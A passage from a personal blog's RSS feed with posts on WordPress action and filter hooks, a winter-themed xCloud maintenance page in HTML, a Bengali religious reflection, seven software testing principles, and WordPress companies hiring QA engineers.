&lt;p&gt;There are two main types of hooks you need to master: &lt;strong&gt;Actions&lt;/strong&gt; and &lt;strong&gt;Filters&lt;/strong&gt;. While they might look similar in code, they serve two very different purposes. An Action hook allows you to &quot;do something&quot; at a specific point in the execution process, like sending an email after a post is published. A Filter hook, on the other hand, allows you to &quot;change something&quot; before it is saved to the database or rendered on the screen.&lt;/p&gt;
&lt;p&gt;Let&apos;s look at an Action hook in PHP. Imagine you want to add a simple tracking script or a custom meta tag to your site&apos;s header. You would hook into the &lt;code&gt;wp_head&lt;/code&gt; action. This tells WordPress, &quot;Wait, before you finish loading the head section, run my custom function first.&quot;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Adding a custom script to the site header
function my_custom_header_script() {
    echo &apos;&amp;lt;script&amp;gt;console.log(&quot;Hello from a WordPress Action Hook!&quot;);&amp;lt;/script&amp;gt;&apos;;
}
add_action(&apos;wp_head&apos;, &apos;my_custom_header_script&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Filters are slightly different because they must always return a value. If an Action is a &quot;to-do list,&quot; a Filter is a &quot;processor.&quot; For example, if you want to automatically append a &quot;Thank you for reading!&quot; message to the end of every blog post, you would use the &lt;code&gt;the_content&lt;/code&gt; filter. The filter receives the post content, lets you modify it, and expects you to hand it back.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Modifying post content with a Filter hook
function add_thank_you_note($content) {
    if (is_single()) {
        $extra_text = &apos;&amp;lt;p&amp;gt;Thank you for reading! Stay tuned for more.&amp;lt;/p&amp;gt;&apos;;
        $content .= $extra_text;
    }
    return $content; // Always return the data in a filter!
}
add_filter(&apos;the_content&apos;, &apos;add_thank_you_note&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A common pitfall for beginners is forgetting to return the variable in a filter. If you forget that &lt;code&gt;return&lt;/code&gt; statement, the content of your site will literally disappear because the filter &quot;swallowed&quot; the data. Another intermediate tip is to pay attention to the &lt;strong&gt;priority&lt;/strong&gt; argument. By default, hooks run at a priority of 10. If you want your code to run later than others, increase that number to 20 or even 100.&lt;/p&gt;
&lt;p&gt;For those working in terminal environments or setting up CI/CD pipelines, you might interact with hooks indirectly through tools like WP-CLI. You can actually check which functions are hooked into a specific action using a Bash command. This is incredibly helpful for debugging when a plugin is behaving unexpectedly.&lt;/p&gt;
&lt;p&gt;Bash&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Check all functions hooked into &apos;wp_head&apos; using WP-CLI
wp eval &apos;global $wp_filter; print_r($wp_filter[&quot;wp_head&quot;]);&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Mastering hooks shifts you from being someone who just installs plugins to someone who can truly engineer WordPress. It gives you the flexibility to build complex, lightweight features while keeping your site&apos;s foundation clean and update-proof. Start by looking through the WordPress Hook Directory and see where you can start &quot;hooking&quot; your own ideas into reality.&lt;/p&gt;
</content:encoded><atom:updated>2026-01-10T00:00:00.000Z</atom:updated><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>Custom Winter Theme for Disabled Sites on xCloud [Tutorial]</title><link>https://hurayraiit.com/blog/adding-a-custom-winter-vibe-to-my-disabled-sites-on-xcloud/</link><guid isPermaLink="true">https://hurayraiit.com/blog/adding-a-custom-winter-vibe-to-my-disabled-sites-on-xcloud/</guid><description>How I used Gemini AI to generate a custom winter-themed HTML template for disabled xCloud sites, replacing the dull default maintenance page.</description><pubDate>Mon, 05 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;So far, xCloud is my favorite server hosting management panel. Not because I work with the &lt;a href=&quot;https://wpdeveloper.com/about/#team&quot;&gt;team behind xCloud&lt;/a&gt;, but because I genuinely love the platform.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;I love tweaking around xCloud in my spare time and finding ways of customizing it and improving it. This winter, I have been tweaking around my personal sites and adding a winter vibe to anything I can put my hands on. This site, for example (how it looks at the time of writing this article).&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;xCloud has a nifty little feature. It allows you to &lt;a href=&quot;https://xcloud.host/docs/disable-site-in-xcloud-hosting/&quot;&gt;disable a site&lt;/a&gt;. Sites that are not useful at the moment, but you also don&apos;t want to delete them. When you visit the disabled sites, xCloud shows a default HTML template saying that the site is not available at the moment.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;xCloud allows you to customize this HTML template. So I thought why not generate a prettier HTML template using Gemini and adding that to my sites instead. You can find the detailed documentation here: &lt;a href=&quot;https://xcloud.host/docs/disable-site-in-xcloud-hosting/&quot;&gt;How to Disable Site in xCloud Hosting?&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;So here it how it looks 👇&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;I&apos;ll share the source code for this template below:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!doctype html&amp;gt;
&amp;lt;html class=&quot;h-full&quot; lang=&quot;en&quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1, shrink-to-fit=no&quot;&amp;gt;
    &amp;lt;title&amp;gt;Service Unavailable - Winter Edition&amp;lt;/title&amp;gt;
    &amp;lt;script src=&quot;https://cdn.tailwindcss.com&quot;&amp;gt;&amp;lt;/script&amp;gt;
    &amp;lt;style&amp;gt;
        /* Custom Snow Animation */
        .snowflake {
            color: #fff;
            font-size: 1.2em;
            font-family: Arial, sans-serif;
            text-shadow: 0 0 5px rgba(255,255,255,1);
            position: fixed;
            top: -10%;
            z-index: 9999;
            user-select: none;
            cursor: default;
            animation-name: snowflakes-fall, snowflakes-shake;
            animation-duration: 10s, 3s;
            animation-timing-function: linear, ease-in-out;
            animation-iteration-count: infinite, infinite;
            animation-play-state: running, running;
        }

        @keyframes snowflakes-fall {
            0% { top: -10%; }
            100% { top: 100%; }
        }

        @keyframes snowflakes-shake {
            0%, 100% { transform: translateX(0); }
            50% { transform: translateX(80px); }
        }

        /* Generating different delays for snowflakes */
        .snowflake:nth-of-type(0) { left: 1%; animation-delay: 0s, 0s; }
        .snowflake:nth-of-type(1) { left: 10%; animation-delay: 1s, 1s; }
        .snowflake:nth-of-type(2) { left: 20%; animation-delay: 6s, 0.5s; }
        .snowflake:nth-of-type(3) { left: 30%; animation-delay: 4s, 2s; }
        .snowflake:nth-of-type(4) { left: 40%; animation-delay: 2s, 2s; }
        .snowflake:nth-of-type(5) { left: 50%; animation-delay: 8s, 3s; }
        .snowflake:nth-of-type(6) { left: 60%; animation-delay: 6s, 2s; }
        .snowflake:nth-of-type(7) { left: 70%; animation-delay: 2.5s, 1s; }
        .snowflake:nth-of-type(8) { left: 80%; animation-delay: 1s, 0s; }
        .snowflake:nth-of-type(9) { left: 90%; animation-delay: 3s, 1.5s; }
    &amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body class=&quot;h-full bg-gradient-to-b from-slate-900 via-blue-900 to-blue-800 flex items-center justify-center overflow-hidden m-0 font-sans&quot;&amp;gt;

    &amp;lt;div class=&quot;snowflakes&quot; aria-hidden=&quot;true&quot;&amp;gt;
        &amp;lt;div class=&quot;snowflake&quot;&amp;gt;❅&amp;lt;/div&amp;gt;
        &amp;lt;div class=&quot;snowflake&quot;&amp;gt;❆&amp;lt;/div&amp;gt;
        &amp;lt;div class=&quot;snowflake&quot;&amp;gt;❅&amp;lt;/div&amp;gt;
        &amp;lt;div class=&quot;snowflake&quot;&amp;gt;❆&amp;lt;/div&amp;gt;
        &amp;lt;div class=&quot;snowflake&quot;&amp;gt;❅&amp;lt;/div&amp;gt;
        &amp;lt;div class=&quot;snowflake&quot;&amp;gt;❆&amp;lt;/div&amp;gt;
        &amp;lt;div class=&quot;snowflake&quot;&amp;gt;❅&amp;lt;/div&amp;gt;
        &amp;lt;div class=&quot;snowflake&quot;&amp;gt;❆&amp;lt;/div&amp;gt;
        &amp;lt;div class=&quot;snowflake&quot;&amp;gt;❅&amp;lt;/div&amp;gt;
        &amp;lt;div class=&quot;snowflake&quot;&amp;gt;❆&amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;

    &amp;lt;div class=&quot;relative z-10 text-center p-8 bg-white/10 backdrop-blur-md border border-white/20 rounded-3xl shadow-2xl max-w-lg mx-4&quot;&amp;gt;
        &amp;lt;div class=&quot;mb-6&quot;&amp;gt;
            &amp;lt;div class=&quot;inline-block p-4 bg-blue-500/20 rounded-full mb-4&quot;&amp;gt;
                &amp;lt;svg class=&quot;w-12 h-12 text-blue-200&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; viewBox=&quot;0 0 24 24&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot;&amp;gt;
                    &amp;lt;path stroke-linecap=&quot;round&quot; stroke-linejoin=&quot;round&quot; stroke-width=&quot;2&quot; d=&quot;M12 3v1m0 16v1m9-9h-1M4 12H3m15.364 6.364l-.707-.707M6.343 6.343l-.707-.707m12.728 0l-.707.707M6.343 17.657l-.707.707M16 12a4 4 0 11-8 0 4 4 0 018 0z&quot;&amp;gt;&amp;lt;/path&amp;gt;
                &amp;lt;/svg&amp;gt;
            &amp;lt;/div&amp;gt;
            &amp;lt;h2 class=&quot;text-white text-4xl font-extrabold tracking-tight mb-2&quot;&amp;gt;Service Unavailable&amp;lt;/h2&amp;gt;
            &amp;lt;p class=&quot;text-blue-100 text-lg opacity-80&quot;&amp;gt;The site is currently hibernating. Please contact your provider or try again later.&amp;lt;/p&amp;gt;
        &amp;lt;/div&amp;gt;

        &amp;lt;a href=&quot;https://hurayraiit.com&quot; class=&quot;inline-block bg-white text-blue-900 font-bold py-3 px-8 rounded-full shadow-lg hover:bg-blue-50 hover:scale-105 transition-all duration-300&quot;&amp;gt;
            Visit home!
        &amp;lt;/a&amp;gt;
    &amp;lt;/div&amp;gt;

&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Thanks for reading! If you decide to create your own template, share the link with me as a comment to this post.&lt;/p&gt;
</content:encoded><atom:updated>2026-01-05T00:00:00.000Z</atom:updated><category>xcloud</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>যখন আল্লাহ কাউকে ভালবাসেন</title><link>https://hurayraiit.com/blog/when-allah-loves-someone/</link><guid isPermaLink="true">https://hurayraiit.com/blog/when-allah-loves-someone/</guid><description>আল্লাহ যখন কাউকে ভালবাসেন তার পরিচয় কী — সম্পদ বা ক্ষমতা নয়, নেক আমলের তাউফিক ও ইবাদতের মিষ্টতাই তাঁর ভালোবাসার প্রকৃত নিদর্শন।</description><pubDate>Sat, 03 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;যখন আল্লাহ কাউকে ভালবাসেন, তাকে অনেক অর্থ সম্পদ দিয়ে দেন না। তার প্রভাব প্রতিপত্তি ক্ষমতার মধ্যেও কোন প্রবৃদ্ধি ঘটে না। এমনও না যে, সে কখনও বিপদ আপদে পড়ে না, অসুস্থতা তাকে স্পর্শ করে না।&lt;/p&gt;
&lt;p&gt;বরং তিনি যদি কাউকে ভালবাসেন তাকে নেক আমলের তাউফিক দেন। গুনাহ থেকে বাঁচা তার জন‍্য সহজ হয়। চরম বিপদের মুহুর্তেও সে তাওয়াক্কুল করতে পারে। সেই মহান রবের দিকে দু’হাত তুলে চাইতে পারা, তাঁর নাম উচ্চারণ করতে পারা—সবই তাঁর ভালোবাসারই প্রমাণ।&lt;/p&gt;
&lt;p&gt;এর উল্টো দিকে, যখন আল্লাহ কারো উপর রাগ হন, তিনি কিন্তু তাঁকে অক্সিজেন দেওয়া বন্ধ করে দেন না। তার খাবার দাবারের যোগানও বন্ধ হয় না। বরং হয়তো সে আগের চেয়ে আরও ভাল থাকার কিংবা খাওয়ার সুযোগ পায়। কেউ তাঁর নাফরমানি করলে, তাকে তিনি সাথে সাথে শাস্তি দেন না। তার পায়ের নিচ থেকে জমিন সরে যায় না, মাথার উপর ছাদও ভেঙ্গে পড়ে না।&lt;/p&gt;
&lt;p&gt;কিন্তু আল্লাহ অসন্তুষ্ট হলে, তার অন্তরে মরিচা পড়ে যায়। ইবাদতে তার মন বসে না, নামাজ পড়তে তার আর ভাল লাগে না। দ্বীনের কোন কথা শুনলে বিরক্তি আসে, তিলাওয়াতের সুরের চেয়ে গানের সুরই তার কাছে প্রিয় মনে হয়। তার সাধ জাগে না, গভীর রাতে একাকী সিজদায় যেয়ে কাঁদতে। আফসোস তার হয় না, কেন সে ফজরে আর উঠতে পারে না।&lt;/p&gt;
&lt;p&gt;সেই মানুষটি তো ভাবতে থাকে, এসবই তার ইচ্ছাধীন বিষয়। সে নামাজ পড়তে চায় না বলেই,পড়া হয় না। তার তেমন ভাল লাগে না বলেই, অন্যান্য আমলগুলোও সবসময় করা হয় না। কিন্তু প্রকৃত সত্য হল, তারই গুনাহের কারণে, তার থেকে সেই ইবাদতের নিয়ামত ছিনিয়ে নেয়া হয়েছে। তারই বদআমলের কারণে, সে আর পায় না আমলের সেই মিষ্টতা......&lt;/p&gt;
&lt;p&gt;[&lt;a href=&quot;https://www.facebook.com/rkabir.connect&quot;&gt;ফেসবুক থেকে&lt;/a&gt;]&lt;/p&gt;
</content:encoded><atom:updated>2026-01-03T00:00:00.000Z</atom:updated><category>islam</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>7 Software Testing Principles Every SQA Engineer Should Know</title><link>https://hurayraiit.com/blog/7-software-testing-principles-for-sqa/</link><guid isPermaLink="true">https://hurayraiit.com/blog/7-software-testing-principles-for-sqa/</guid><description>Learn the 7 core software testing principles every SQA engineer must know, with practical examples and insights aligned with the ISTQB CTFL 4.0 syllabus.</description><pubDate>Wed, 31 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;1. Testing shows the presence, not the absence of defects&lt;/h2&gt;
&lt;p&gt;Testing can prove that defects are present in a system, but it can never prove that the system is 100% defect-free. Even after the most rigorous testing, we cannot say with absolute certainty that no bugs remain. Instead, testing reduces the probability of undiscovered defects and increases our confidence in the software&apos;s quality.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Example A: You run 100 automated Playwright tests on a login page, and all of them pass. This proves those 100 scenarios work, but it doesn&apos;t prove a hacker can&apos;t bypass the login using a specific SQL injection.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Example B: A mobile app works perfectly on the latest iPhone. While testing shows it is functional on iOS, it doesn&apos;t prove the app won&apos;t crash on an older Android device that hasn&apos;t been tested yet.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Example C: After a week of rigorous testing, a release is labeled &quot;stable.&quot; However, a bug is found by a user who enters a 500-character string into a field that the testers only tested with 50 characters.
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2. Exhaustive testing is impossible&lt;/h2&gt;
&lt;p&gt;Trying to test every possible combination of inputs, preconditions, and paths is mathematically unfeasible for anything beyond the most trivial applications. For example, a simple form with 10 fields, each having multiple valid and invalid values, could result in billions of combinations.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Solution:&lt;/strong&gt; Use &lt;strong&gt;Risk Analysis&lt;/strong&gt;, &lt;strong&gt;Prioritization&lt;/strong&gt;, and &lt;strong&gt;Test Techniques&lt;/strong&gt; (like Equivalence Partitioning and Boundary Value Analysis) to focus your efforts on the areas that matter most.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Example A: A &quot;Date of Birth&quot; field. Testing every single valid and invalid date combination from the year 1900 to 2026 would require millions of test cases, which is impossible due to time constraints.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Example B: A simple calculator. Trying to test every possible addition of two numbers (including decimals, negatives, and large integers) is mathematically infinite.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Example C: A search bar. Testing every possible combination of characters, emojis, and special symbols in every language would take years.
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3. Early testing saves time and money&lt;/h2&gt;
&lt;p&gt;Often referred to as &lt;strong&gt;Shift-Left testing&lt;/strong&gt;, this principle emphasizes starting test activities as early as possible in the Software Development Lifecycle (SDLC).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Static Testing:&lt;/strong&gt; Reviewing requirements and design documents before a single line of code is written can identify &quot;bugs&quot; in logic that would be exponentially more expensive to fix later.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Cost impact:&lt;/strong&gt; Fixing a defect found during requirements analysis is significantly cheaper than fixing one found during production.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Example A: An SQA engineer reviews a requirement document and notices that &quot;User Roles&quot; aren&apos;t defined. Correcting this text takes 5 minutes. Waiting until the code is written to realize roles are missing would take days of refactoring.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Example B: A developer writes unit tests for a Bash script before deploying it to the server. They find a syntax error immediately rather than crashing a production server later.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Example C: Testing a Figma prototype for usability. Finding that a button is too small to click on mobile is much cheaper to fix in the design phase than after the frontend has been built.
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4. Defects cluster together&lt;/h2&gt;
&lt;p&gt;In many systems, a small number of modules or components contain the majority of the defects. This is often an application of the &lt;strong&gt;Pareto Principle&lt;/strong&gt; (the 80/20 rule), where roughly 80% of the problems are found in 20% of the code.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Example A: In an e-commerce app, 80% of the crashes occur within the &quot;Payment Gateway&quot; module, while the &quot;Product Description&quot; and &quot;Contact Us&quot; pages are nearly bug-free.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Example B: A legacy module that was written 10 years ago and has been &quot;patched&quot; many times by different developers often contains more bugs than a brand-new, clean module.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Example C: A highly complex &quot;Report Generation&quot; feature that handles massive data processing is likely to have more defects than a simple &quot;User Profile&quot; edit page.
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;5. Tests wear out (The Pesticide Paradox)&lt;/h2&gt;
&lt;p&gt;If you run the same set of tests over and over again, they will eventually stop finding new defects. Just as insects develop resistance to a specific pesticide, the software &quot;evolves&quot; past your existing test cases (often because those specific bugs were already fixed).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Action:&lt;/strong&gt; Regularly review, update, and add new test cases to exercise different parts of the system and find new potential issues.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Example A: An automation suite has been running the same &quot;Happy Path&quot; tests for six months. It passes every time, but users are reporting bugs in the &quot;Checkout&quot; flow because the automated tests never check different shipping methods.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Example B: A tester always uses the name &quot;John Doe&quot; to test a form. The system works for &quot;John Doe,&quot; but fails when a user enters a name with an apostrophe, like &quot;O&apos;Connor,&quot; because the tester never varied their data.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Example C: A security scan that only checks for the &quot;OWASP Top 10&quot; from five years ago will fail to find modern vulnerabilities that hackers have developed since then.
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;6. Testing is context dependent.&lt;/h2&gt;
&lt;p&gt;Testing is not a &quot;one-size-fits-all&quot; activity. The way you test an e-commerce mobile app is fundamentally different from how you would test a safety-critical medical device or a banking backend. The context dictates the test techniques, the level of rigor, and the types of testing required.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Example A: Testing a Banking Application requires extreme focus on security and data integrity. Testing a Video Game requires more focus on graphics, frame rates, and user immersion.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Example B: For an Agile project, testing is done in small increments every two weeks. For a Safety-Critical Medical System, testing requires months of documentation and strict regulatory compliance.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Example C: On an Ubuntu Server automation script, testing focuses on permissions and resource usage. On a Marketing Website, testing focuses on SEO and cross-browser responsiveness.
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;7. Absence-of-defects fallacy.&lt;/h2&gt;
&lt;p&gt;It is a fallacy (i.e., a misconception) to expect that software verification will ensure the success of a system. Even if the testing team finds and fixes 100% of the identified defects, the system might still be a failure if it doesn&apos;t meet the user&apos;s actual needs or business requirements.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Example A: A team builds a &quot;bug-free&quot; application that is technically perfect but is so difficult to navigate that no one wants to use it.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Example B: You develop a software that calculates taxes perfectly for the UK market, but the client actually needed it for the Bangladesh market. Despite having no bugs, the software is a failure.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Example C: An automation script runs perfectly without errors, but it&apos;s automating a business process that the company discontinued last month. The tool is &quot;correct&quot; but useless.
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><atom:updated>2025-12-31T00:00:00.000Z</atom:updated><category>sqa</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>SQA Career in WordPress: A Complete Ecosystem Guide</title><link>https://hurayraiit.com/blog/sqa-career-wordpress/</link><guid isPermaLink="true">https://hurayraiit.com/blog/sqa-career-wordpress/</guid><description>Discover why WordPress product companies are a hidden blue ocean for SQA engineers in Bangladesh and globally, with curated company lists to apply to.</description><pubDate>Thu, 18 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Why WordPress product companies are the hidden &apos;blue ocean&apos; for SQA engineers in BD and globally.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;#lists&quot;&gt;Jump To Company Lists 👇&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;The Hidden Opportunity&lt;/h2&gt;
&lt;p&gt;🤼&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LESS COMPETITION&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Most SQA focus on generic SaaS. WordPress ecosystem has fewer applicants.&lt;/p&gt;
&lt;p&gt;🔎&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;HIGH DEMAND&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Complex plugins &amp;amp; themes need dedicated SQA for compatibility &amp;amp; stability.&lt;/p&gt;
&lt;p&gt;💹&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;BETTER GROWTH&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Remote flexibility, global standards, and competitive pay.&lt;/p&gt;
&lt;h2&gt;Top WordPress Companies to Follow&lt;/h2&gt;
&lt;h3&gt;Local Companies (BD - Onsite &amp;amp; Remote) 🇧🇩&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Company Name&lt;/th&gt;
&lt;th&gt;Primary Focus / Other Info&lt;/th&gt;
&lt;th&gt;Career&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Startise&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://careers.startise.com/&quot;&gt;careers.startise.com&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authlab (Sylhet)&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://authlab.io/jobs/&quot;&gt;authlab.io/jobs&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;weDevs&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://wedevs.com/career&quot;&gt;wedevs.com/career&lt;/a&gt; and &lt;a href=&quot;https://lounge.wedevs.com&quot;&gt;lounge.wedevs.com&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Ollyo&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://ollyo.com/careers/&quot;&gt;ollyo.com/careers&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Roxnor&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://roxnor.com/career/&quot;&gt;roxnor.com/career&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BDThemes (Bogura)&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://jobs.bdthemes.com/?country_code=BD&quot;&gt;jobs.bdthemes.com&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kodezen&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://kodezen.com/career/&quot;&gt;kodezen.com/career&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WPPOOL&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://careers.wppool.dev/&quot;&gt;careers.wppool.dev&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WPXPO&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wpxpo.com/career/&quot;&gt;wpxpo.com/career&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ShapedPlugin LLC&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://techearty.com/careers/&quot;&gt;techearty.com/careers&lt;/a&gt; and &lt;a href=&quot;https://shapedplugin.com/about-us/&quot;&gt;shapedplugin.com/about-us&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Codexpert&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://hr.codexpert.io/&quot;&gt;hr.codexpert.io&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Arraytics&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://arraytics.easy.jobs/&quot;&gt;arraytics.easy.jobs&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Radius-Theme&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://inside.radiustheme.com/&quot;&gt;inside.radiustheme.com&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HappyMonster&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://happymonster.dev/&quot;&gt;happymonster.dev&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Spider-Themes&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://spider-themes.net&quot;&gt;spider-themes.net&lt;/a&gt; — jobs: &lt;a href=&quot;https://www.facebook.com/spiderdevs&quot;&gt;facebook.com/spiderdevs&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Wowdevs&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://wowdevs.com&quot;&gt;wowdevs.com&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Codeixer&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.codeixer.com/&quot;&gt;codeixer.com&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SovWare&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://sovware.com/career/&quot;&gt;sovware.com/career&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Global &amp;amp; Remote Companies (Foreign-based) 🌏&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Company Name&lt;/th&gt;
&lt;th&gt;Primary Focus&lt;/th&gt;
&lt;th&gt;Career&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Automattic&lt;/td&gt;
&lt;td&gt;WooCommerce, &lt;a href=&quot;http://WordPress.com&quot;&gt;WordPress.com&lt;/a&gt;, etc&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://automattic.com/jobs/&quot;&gt;automattic.com/jobs&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RankMath&lt;/td&gt;
&lt;td&gt;SEO, etc&lt;/td&gt;
